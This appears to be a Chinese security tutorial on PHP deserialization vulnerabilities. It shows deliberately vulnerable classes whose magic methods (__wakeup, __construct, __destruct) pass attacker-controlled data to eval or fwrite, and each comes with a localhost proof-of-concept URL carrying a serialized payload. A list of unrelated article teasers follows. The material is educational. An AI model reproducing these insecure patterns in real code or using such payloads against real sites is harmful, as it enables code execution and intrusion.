C php反序列化,php反序列化漏洞 - anansec的个人空间 - OSCHINA - 中文开源技术交流社区...

反序列化本身是没有漏洞的,但是当反序列化和一些魔术方法结合使用时就可能会产生安全风险。常用的魔术方法__wakeup

反序列化漏洞示例(__wekeup)

class A{var $test = "demo";function __wakeup(){eval($this->test);}}$b = new A();$c = serialize($b);$a = $_GET['test'];$a_unser = unserialize($a);#漏洞利用poc http://127.0.0.1:8999/test/unserialize1.php?test=O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}

解释:传入的参数被反序列化,导致魔术方法__wakeup被自动调用,这时参数传入的值将被作为eval的参数使用,所以这里会因反序列化导致任意代码执行。

反序列化漏洞(__wakeup和文件操作)

require "test.php";//测试方便class A{var $test = '123';function __wakeup(){$fp = fopen("test.php", "w");fwrite($fp, $this->test);fclose($fp);}}$a = new A();print_r(serialize($a));$class1 = $_GET['test'];$class1_unser = unserialize($class1);利用poc:http://127.0.0.1:8999/test/unserialize1.php?test=O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}

解释:和上面一一样,当传入的参数被反序列化时,魔术方法__wakeup被调用,传入的参数会作为fwrite的第二个参数直接写入test.php文件中,从而导致反序列化漏洞

反序列化漏洞示例(__construct)

require 'test.php';class b{function __construct($test){$fp = fopen("test.php", 'w');fwrite($fp, $test);fclose($fp);}}class a{var $test = 123;function __wakeup(){$obj = new b($this->test);}}$class = $_GET['test'];$class_u = unserialize($class);利用poc:http://127.0.0.1:8999/test/unserialize1.php?test=O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}

解释:unserialize()会自动调用__wakeup(),__wakeup中实力化a,这时会调用构造函数__construct,因为构造函数被调用,所传入的参数会作为fwrite的参数写入shell.php文件,从而造成代码执行

类的普通方法——反序列化问题

class maniac{public $test;function __construct(){$this->test = new x1();}function __destruct(){$this->test->action();}}class x1{function action(){echo "123";}}class x2{public $test2;function action(){eval($this->test2);}}$class2 = new maniac();unserialize($_GET['test']);漏洞利用poc:http://127.0.0.1:8999/test/unserialize1.php?test=O:6:"maniac":1:{s:4:"test";O:2:"x2":1:{s:5:"test2";s:10:"phpinfo();";}}

解释:maniac实例化,构造方法(\_\_construct)被调用,x1被示例化;反序列执行,析构方法(\_\_destreuct)被调用;如果$\_GET没有传入合法的序列化字符串,就会自动调用x1的action方法,如果$\_GET接收到正确的序列化字符串,那么析构方法就会调用x2的action方法,从而这里就有可能导致任意命令执行

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/529663.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

oracle lob值是什么,关于Oracle数据库LOB大字段总结

概述在ORACLE数据库中&#xff0c;DBA_OBJECTS视图中OBJECT_TYPE为LOB的对象是什么东西呢&#xff1f;其实OBJECT_TYPE为LOB就是大对象(LOB)&#xff0c;它指那些用来存储大量数据的数据库字段。Oracle 11gR2 文档&#xff1a;http://download.oracle.com/docs/cd/E11882_01/Ap…

php 统计目录大小,PHP 统计目录大小

例01:function dirsize($dir){$size0;//打开目录$ddopendir($dir); //--opendir("")打开一个目录&#xff0c;返回此目录的资源句柄readdir($dd); //--通过读两次&#xff0c;来跳过特殊目录"."、".."readdir($dd);//遍历目录累加大小while($f …

oracle03206,ORACLE数据库创建表空间ORA-03206报错的解决方案

Oracle的数据文件大小是有限制的&#xff0c;今天在创建表空间的时候就遇到了问题&#xff0c;限制很简单&#xff0c;作为DBA必须要了解。测试环境&#xff1a;操作系统&#xff1a;Win7 64位专业版数据库版本&#xff1a;64位Oracle10.2.0.4DB_NAME&#xff1a;hoegh表空间名…

oracle sql server的区别,oracle与sqlserver的十大区别

http://blog.csdn.net/it_fengli/article/details/8213839 --sql server 与 oracle的区别&#xff1a; --DBMS 数据库管理系统 --1.数据类型不同。 --sql server 的数据类型&#xff1a;int ,smallint ,char,varchar,nchar,nvarchar,ntext,datetime,smalldatetime,money,decima…

Oracle19C的dbhome,Windows server 安装Oracle19c (WINDOWS.X64_193000_db_home.zip) 过程碰到的问题总结...

Oracle19c的下载地址&#xff1a;链接: https://pan.baidu.com/s/1snqyViOAoeffAztPes_Tvw提取码: 9kb6Oracle19c的安装过程&#xff1a;解压缩安装包&#xff1a;解压结果 以管理员方式运行setup开始安装 一直默认走到安装完成即可创建用户cmd执行sqlplus命令&#xff0c;输入…

oracle01537,ORACLE REUSE实验

一、查看数据文件位置SQL> show user;User is "SYS"SQL> desc dba_data_files;Name Type Nullable Default Comments--------------- ------------- -------- ------- ---------------------------------------------------FILE_NAME …

oracle数据库配置管理,Oracle配置管理

一、连接Oracle1、Oracle建立连接的过程无论是通过sqlplus命令连接还是第三方工具远程连接到Oracle&#xff0c;都需要建立客户端与服务端之间的连接。Oracle Net Service组件就是为了用于建立连接的&#xff0c;这个组件在安装Oracle时已经安装。1)在服务器端有一个listener监…

oracle 插入一个语句,oracle如何通过1条语句插入多个值 oracle通过1条语句插入多个值方法...

本篇文章小编给大家分享一下oracle通过1条语句插入多个值方法&#xff0c;小编觉得挺不错的&#xff0c;现在分享给大家供大家参考&#xff0c;有需要的小伙伴们可以来看看。在实践过程中遇到一个问题&#xff0c;我想往数据库插入多条数据时&#xff0c;使用了如下语句&#x…

linux内核 默认路由表,[Linux] linux路由表-Go语言中文社区

路由表用于决定数据包从哪个网口发出&#xff0c;其主要判断依据是目标IP地址Linux路由表其实有2个主要概念&#xff1a;按顺序走路由策略,在路由策略对应的路由表中匹配规则路由策略(rule)路由表(table)查看所有的路由策略,32766那个策略最有用,对应的main路由表也是默认展示的…

linux添加源地址ping,实战经验:Linux Source NAT在Ping场景下的应用

原标题&#xff1a;实战经验&#xff1a;Linux Source NAT在Ping场景下的应用有时候&#xff0c;有这样的一种需求&#xff1a;需要修改IP数据包中的源地址&#xff0c;比如&#xff0c;从某一个主机发送Ping包到另一个主机&#xff0c;需要修改源地址为另一个源(通常&#xff…

mac远程linux的ide,Jupyter notebook在mac:linux上的配置和远程访问

IPython 和 JupyterIPython 通常指的是一个 Python REPL(交互式解释器) shell。提供了远比 Python shell 强大的 shell 环境。IPython 是 Iteractive Python shell的缩写。 Notebook 是一个基于 IPython 的 web 应用。截止 IPython 3.0 &#xff0c;IPython 变得越来越臃肿&…

Linux升级glibc版本汉字乱码,Linux CentOS6升级glibc库过程

CentOS6升级glibc库过程hadoop无法加载native库&#xff0c;可能原因是 glibc库版本过低&#xff0c;需要升级。第一&#xff1a;安装以下软件yum -y install zlib zlib-devel gcc gcc-c libtool openssl openssl-devel automake autoconf libtool pcre*第二、查看系统glibc版本…

linux图形界面 革命,Windows 95带来的革命

CDECDE1993年6月-在“公用桌面环境“是与Sun&#xff0c;惠普&#xff0c;IBM和合资Unix系统实验室。CDE&#xff0c;通用桌面环境(CommonDesktopEnvironment)的缩写。CDE是一种运行于UNIX&#xff0c;基于Motif部件工具箱开发的商业桌面环境。惠普的OpenVMS采用CDE作为标准的桌…

real time linux pdf,【整理】ubuntu real time Linux

ubuntu real timeUbuntu不支持实时可参考看看如何才能支持想要自己编译实时内核的话参考去&#xff1a;下载&#xff1a;The Real Time Preempt Patch然后自己编译即可。对于实时系统所支持的功能和特性以及平台&#xff0c;详见这里提供了 已编译好的实时的Debian相关内容或参…

arm64 linux 除零正常返回,arm64程序调用规则

前言这篇主要介绍arm64程序调用规则&#xff0c;详细分析了程序调用过程中&#xff0c;参数是如何传递的。Android、iOS、Linux等基本遵循这些规则&#xff0c;但是各个操作系统平台也有小部分自己特定的规则。下一篇&#xff0c;我将介绍iOS平台的特定规则。术语介绍术语意义A…

苹方字体 for linux,苹果苹方字体

苹果苹方字体是一款很实用的字体软件&#xff0c;苹果苹方字体是为中国苹果用户打造的全新字体&#xff0c;共有六种字重&#xff0c;使用方便&#xff0c;能够满足用户在阅读时不同的字体需求&#xff0c;并且苹果苹方字体还可以在安卓、Linux 等其他平台和设备上使用&#xf…

linux系统关机half,Linux 学习 (六) 关机与重启命令

JavaScript基础 DOM的操作1.DOM的基本概念 DOM是文档对象模型,这种模型为树模型:文档是指标签文档:对象是指文档中每个元素:模型是指抽象化的东西. 2.Windows对象操作 一.属性和方法: window对象——浏览器 ...推荐《HeadFirst设计模式》相对于国内初版的,HeadFirst真的是更好的…

职坐标c语言,C/C++知识点之hexdump的C语言实现

本文主要向大家介绍了C/C知识点之hexdump的C语言实现&#xff0c;通过具体的内容向大家展示&#xff0c;希望对大家学习C/C知识点有所帮助。1 void hexdump(char *buf, int len)2 {3 int i 0;45 printf("\n----------------------hexdump-----------------------…

C语言编杂志程序,c语言程序错误修改

题目:杂志订阅管理系统使用计算机对一种杂志的订阅进行管理,该杂志最多订户不超过10人,每个订户的信息包括:姓名 性别 地址 电话号码 杂志单价 订阅数 订阅期限(至**年**月)。现要求用菜单选择并完成下述的功能&#xff1a;(1)增加新订户&#xff0c;既将订户的全部信息输入到文…

c语言关键词中英翻译机编程,课程设计--C语言关键字中英翻译机

《课程设计--C语言关键字中英翻译机》由会员分享&#xff0c;可在线阅读&#xff0c;更多相关《课程设计--C语言关键字中英翻译机(21页珍藏版)》请在人人文库网上搜索。1、课课 程程 设设 计计 报报 告告 学院、系&#xff1a; 专业名称&#xff1a; 课程设计科目 所在班级&…